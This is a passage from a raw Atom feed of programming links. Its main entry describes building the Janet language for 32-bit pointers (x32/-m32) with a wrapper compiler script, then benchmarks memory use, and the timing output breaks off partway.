rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fr-size_t-and-ptrdiff_t-1&quot;&gt;↩&lt;/a&gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fr-size_t-and-ptrdiff_t-2&quot;&gt;↩2&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://shnatsel.github.io/safe-simd-in-rust-even-on-the-inside/&quot;&gt;This blog post on Fearless SIMD&lt;/a&gt; provides a great example of using Rust&#39;s type system to guarantee the correctness of code. I highly recommend giving it a read! &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fr-fearless-simd-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;My favorite line of code from that post is &lt;code&gt;100-&amp;gt;a = 0;&lt;/code&gt;, it&#39;s so cursed! &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bd103.dev/blog/2026-10-07-c-for-rust-programmers/#fr-cursed-arrow-operator-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:331d3a3c1c05e6990fb41890e1999db89ade4c67</id>
    <title type="text">Janet on x32: 32-bit Pointers, 64-bit Speed, 25% Less RAM</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-06-janet-on-x32-32-bit-pointers-64-bit-speed-25-less-ram/"/>
    <link rel="via" type="text/html" href="https://alexalejandre.com/programming/lisp/janet-for-the-x32-abi/"/>
    <published>2026-10-06T22:26:46+00:00</published>
    <updated>2026-10-06T22:26:46+00:00</updated>
    <author>
      <name>alexalejandre.com by veqq</name>
    </author>
    <category term="news"/>
    <category term="linux"/>
    <category term="performance"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;It’s possible to save a dramatic amount of memory (close to half for programs with pointer heavy heaps) and also speed up programs by a modest amount (by way of more data fitting in cache) by using 32 bit pointers on 64 bit systems.&lt;/p&gt;
&lt;p&gt;The Linux x32 ABI lets you do just this, but it’s tragically underused and overlooked. It’s disabled by default on Debian (though you can enable it with a boot flag) and not even compiled in on Arch Linux. Most software compiles just fine for x32, but there isn’t much packaging for it so you do have to compile nearly everything yourself.&lt;/p&gt;
&lt;p&gt;I experimented with deploying mastodon on x32 and it cut the app’s memory usage from 650mb to 350mb. There’s so much potential here, but the work is mostly of the thankless coordination and communication type and I don’t have the time or motivation to push it forward myself. - &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lobste.rs/s/gns27z/what_are_your_programming_hunches_you#c_tw3vok&quot;&gt;Hailey&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;How to Compile for 32 Bits?&lt;/h3&gt;
&lt;p&gt;Janet libraries like Spork supply their own build flags, but we can hijack them with a fake &lt;code&gt;cc&lt;/code&gt; which starts the real one with the necessary &lt;code&gt;-m32 -msse2 -mfpmath=sse&lt;/code&gt; flags. I modified the beginning of my default &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/veqq/install-latest-janet/src/branch/master/install-latest-janet.sh&quot;&gt;Janet build script&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;!/bin/sh&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-set syntax-shell&quot;&gt;set&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt;-&lt;/span&gt;eu&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PWD&lt;/span&gt;&lt;/span&gt;/janet32&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;JANET&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/bin/janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;mkdir&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/cc32&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-printf syntax-shell&quot;&gt;printf&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-single syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;#!/bin/sh\nexec gcc -m32 -msse2 -mfpmath=sse &amp;quot;$@&amp;quot;\n&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;#39;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-redirection syntax-shell&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/cc32/cc&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;chmod&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; +x &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/cc32/cc&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-shell&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;&lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;/cc32:&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;PATH&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-storage syntax-modifier syntax-shell&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-assignment syntax-shell&quot;&gt;JANET_TOOLCHAIN&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-assignment syntax-shell&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-string syntax-unquoted syntax-shell&quot;&gt;cc&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-unset syntax-shell&quot;&gt;unset&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; JANET_PATH JANET_TREE&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;mkdir&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;p&lt;/span&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-cd syntax-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-parameter syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-shell&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;syntax-variable syntax-other syntax-readwrite syntax-shell&quot;&gt;TARGET&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;rm&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;rf&lt;/span&gt; build/spork janet&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;git&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; clone https://github.com/janet-lang/janet&lt;/span&gt;
&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-cd syntax-shell&quot;&gt;cd&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; janet&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Easy enough! Now let’s try it!&lt;/p&gt;
&lt;h3&gt;Failing on Arch&lt;/h3&gt;
&lt;p&gt;tl;dr: 20% memory reduction, 50% slower&lt;/p&gt;
&lt;p&gt;See the Scripts and Results&lt;/p&gt;
&lt;p&gt;This is on cachyos (arch, btw) with lib32-glibc lib32-gcc-libs. Adding this to a build script forces libraires like spork to build at 32 bit too!&lt;/p&gt;
&lt;p&gt;For &lt;code&gt;mem.janet&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-janet&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Janet&quot;&gt;(let [live @[]]
  (for i 0 2_000_000
    (array/push live [i (+ i 1)]))
  (gccollect)
  (print (length live)))
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note, these use Fish and I don’t want to rebuild my site with other language support:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;code-snippet&quot; data-language=&quot;Shell&quot;&gt;&lt;span class=&quot;syntax-source syntax-shell syntax-bash&quot;&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; pacman&lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt; -&lt;/span&gt;S&lt;/span&gt; time &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; different from just time&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-command syntax-shell&quot;&gt;command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time &lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt;-&lt;/span&gt;v&lt;/span&gt; ./bin/janet mem.janet &lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-comment syntax-begin syntax-shell&quot;&gt;#&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt; command skips the fish version&lt;/span&gt;&lt;span class=&quot;syntax-comment syntax-line syntax-number-sign syntax-shell&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-command syntax-shell&quot;&gt;command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time &lt;span class=&quot;syntax-variable syntax-parameter syntax-option syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-parameter syntax-shell&quot;&gt;-&lt;/span&gt;v&lt;/span&gt; ./janet32/bin/janet mem.janet&lt;/span&gt;

&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;2000000&lt;/span&gt;&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Command&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; being timed: &lt;span class=&quot;syntax-string syntax-quoted syntax-double syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-begin syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;./bin/janet mem.janet&lt;span class=&quot;syntax-punctuation syntax-definition syntax-string syntax-end syntax-shell&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;User&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.24&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;System&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; time (seconds&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0.05&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Percent&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; of CPU this job got: 100&lt;span class=&quot;syntax-meta syntax-group syntax-expansion syntax-job syntax-shell&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-definition syntax-variable syntax-job syntax-shell&quot;&gt;%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Elapsed&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (wall clock&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;time&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; (h:mm:ss or m:ss&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0:00.30&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; shared text size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; unshared data size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; stack size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Average&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; total size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 0&lt;/span&gt;
       &lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-variable syntax-function syntax-shell&quot;&gt;Maximum&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; resident set size (kbytes&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-post-cmd syntax-shell&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-shell&quot;&gt;&lt;span class=&quot;syntax-support syntax-function syntax-colon syntax-shell&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-function-call syntax-arguments syntax-shell&quot;&gt; 145196&lt;/span&gt;
